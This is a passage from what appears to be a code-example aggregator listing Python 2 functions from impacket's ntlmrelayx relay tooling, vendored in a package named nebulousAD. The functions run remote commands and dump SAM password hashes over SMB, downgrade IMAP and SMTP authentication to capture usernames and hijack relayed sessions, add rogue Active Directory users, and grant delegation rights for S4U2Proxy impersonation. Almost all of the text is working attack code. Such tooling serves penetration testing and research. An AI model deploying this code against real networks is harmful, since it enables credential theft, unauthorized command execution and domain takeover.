                                    self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
                            )
                            LOG.info(
                                u"Host {} has the following local admins (hint: try relaying one of them here...)"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(
                                    u"Host {} local admin member: {} ".format(
                                        self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    LOG.info("Executed specified command on host: %s",
                             self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding,
                                                  'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
Esempio n. 26
0
    def skipAuthentication(self):
        self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL)

        # Next should be the client requesting CAPABILITIES
        tag, cmd = self.recvPacketClient()
        if cmd.upper() == 'CAPABILITY':
            clientcapabilities = list(self.getServerCapabilities())
            # Don't offer these AUTH options so the client won't use them
            blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED']
            for cap in blacklist:
                if cap in clientcapabilities:
                    clientcapabilities.remove(cap)

            # Offer PLAIN auth for specifying the username
            if 'AUTH=PLAIN' not in clientcapabilities:
                clientcapabilities.append('AUTH=PLAIN')
            # Offer LOGIN for specifying the username
            if 'LOGIN' not in clientcapabilities:
                clientcapabilities.append('LOGIN')

            LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities))
            self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL))
        else:
            LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd)
            return False
        # next
        tag, cmd = self.recvPacketClient()
        args = cmd.split(' ')
        if cmd.upper() == 'AUTHENTICATE PLAIN':
            # Send continuation command
            self.socksSocket.sendall('+'+EOL)
            # Client will now send their AUTH
            data = self.socksSocket.recv(self.packetSize)
            # This contains base64(\x00username\x00password), decode and split
            creds = base64.b64decode(data.strip())
            self.username = creds.split('\x00')[1].upper()
        elif args[0].upper() == 'LOGIN':
            # Simple login
            self.username = args[1].upper()
        else:
            LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd)
            return False

        # Check if we have a connection for the user
        if self.activeRelays.has_key(self.username):
            # Check the connection is not inUse
            if self.activeRelays[self.username]['inUse'] is True:
                LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % (
                    self.username, self.targetHost, self.targetPort))
                return False
            else:
                LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (
                    self.username, self.targetHost, self.targetPort))
                self.session = self.activeRelays[self.username]['protocolClient'].session
        else:
            LOG.error('IMAP: No session for %s@%s(%s) available' % (
                self.username, self.targetHost, self.targetPort))
            return False

        # We arrived here, that means all is OK
        self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL))
        self.relaySocket = self.session.sock
        self.relaySocketFile = self.session.file
        return True
Esempio n. 27
0
    def addUser(self, parent, domainDumper):
        """
        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('New user already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(
            random.choice(string.ascii_letters + string.digits +
                          string.punctuation) for _ in range(15))

        # Random username
        newUser = ''.join(
            random.choice(string.ascii_letters) for _ in range(10))
        newUserDn = 'CN=%s,%s' % (newUser, parent)
        ucd = {
            'objectCategory':
            'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
            'distinguishedName':
            newUserDn,
            'cn':
            newUser,
            'sn':
            newUser,
            'givenName':
            newUser,
            'displayName':
            newUser,
            'name':
            newUser,
            'userAccountControl':
            512,
            'accountExpires':
            '0',
            'sAMAccountName':
            newUser,
            'unicodePwd':
            '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.info('Attempting to create user in: %s', parent)
        res = self.client.add(
            newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
        if not res:
            # Adding users requires LDAPS
            if self.client.result[
                    'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error(
                    'Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.'
                )
            else:
                LOG.error('Failed to add a new user: %s' %
                          str(self.client.result))
            return False
        else:
            LOG.info(
                'Adding new user with username: %s and password: %s result: OK'
                % (newUser, newPassword))

            # Return the DN
            return newUserDn
Esempio n. 28
0
    def skipAuthentication(self):
        self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready' + EOL)

        # Next should be the client sending the EHLO command
        cmd, params = self.recvPacketClient().split(' ', 1)
        if cmd.upper() == 'EHLO':
            clientcapabilities = self.getServerEhlo().split('\n')
            # Don't offer these AUTH options so the client won't use them
            # also don't offer STARTTLS since that will break things
            blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM']
            for cap in blacklist:
                if cap in clientcapabilities:
                    clientcapabilities.remove(cap)

            # Offer PLAIN auth for specifying the username
            if 'AUTH PLAIN' not in clientcapabilities:
                clientcapabilities.append('AUTH PLAIN')
            # Offer LOGIN for specifying the username
            if 'AUTH LOGIN' not in clientcapabilities:
                clientcapabilities.append('AUTH LOGIN')

            LOG.debug('SMTP: Sending mirrored capabilities from server: %s' %
                      ', '.join(clientcapabilities))
            # Prepare capabilities
            delim = EOL + '250-'
            caps = delim.join(clientcapabilities[:-1]
                              ) + EOL + '250 ' + clientcapabilities[-1] + EOL
            self.socksSocket.send('250-%s' % caps)
        else:
            LOG.error(
                'SMTP: Socks plugin expected EHLO command, but got: %s %s' %
                (cmd, params))
            return False
        # next
        cmd, params = self.recvPacketClient().split(' ', 1)
        args = params.split(' ')
        if cmd.upper() == 'AUTH' and args[0] == 'LOGIN':
            # OK, ask for their username
            self.socksSocket.send('334 VXNlcm5hbWU6' + EOL)
            # Client will now send their AUTH
            data = self.socksSocket.recv(self.packetSize)
            # This contains base64(username), decode
            creds = base64.b64decode(data.strip())
            self.username = creds.upper()
            # Client will now send the password, we don't care for it but receive it anyway
            self.socksSocket.send('334 UGFzc3dvcmQ6' + EOL)
            data = self.socksSocket.recv(self.packetSize)
        elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN':
            # Simple login
            # This contains base64(\x00username\x00password), decode and split
            creds = base64.b64decode(args[1].strip())
            self.username = creds.split('\x00')[1].upper()
        else:
            LOG.error(
                'SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s'
                % (cmd, params))
            return False

        # Check if we have a connection for the user
        if self.activeRelays.has_key(self.username):
            # Check the connection is not inUse
            if self.activeRelays[self.username]['inUse'] is True:
                LOG.error(
                    'SMTP: Connection for %s@%s(%s) is being used at the moment!'
                    % (self.username, self.targetHost, self.targetPort))
                return False
            else:
                LOG.info('SMTP: Proxying client session for %s@%s(%s)' %
                         (self.username, self.targetHost, self.targetPort))
                self.session = self.activeRelays[
                    self.username]['protocolClient'].session
        else:
            LOG.error('SMTP: No session for %s@%s(%s) available' %
                      (self.username, self.targetHost, self.targetPort))
            return False

        # We arrived here, that means all is OK
        self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL)
        self.relaySocket = self.session.sock
        self.relaySocketFile = self.session.file
        return True
Esempio n. 29
0
    def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info(
                'Delegate attack already performed for this computer, skipping'
            )
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root,
                                       domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn,
                           '(objectClass=*)',
                           search_scope=ldap3.BASE,
                           attributes=[
                               'SAMAccountName', 'objectSid',
                               'msDS-AllowedToActOnBehalfOfOtherIdentity'
                           ])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
                data=targetuser['raw_attributes']
                ['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(
            targetuser['dn'], {
                'msDS-AllowedToActOnBehalfOfOtherIdentity':
                [ldap3.MODIFY_REPLACE, [sd.getData()]]
            })
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy',
                     usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error(
                    'Could not modify object, the server reports insufficient rights: %s',
                    self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error(
                    'Could not modify object, the server reports a constrained violation: %s',
                    self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s',
                          self.client.result['message'])
        return
Esempio n. 30
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from nebulousAD.modimpacket.examples.secretsdump import RemoteOperations, SAMHashes
            from nebulousAD.modimpacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(
                        e):  # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(
                            u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
                            )
                            LOG.info(
                                u"Host {} has the following local admins (hint: try relaying one of them here...)"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(
                                    u"Host {} local admin member: {} ".format(
                                        self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return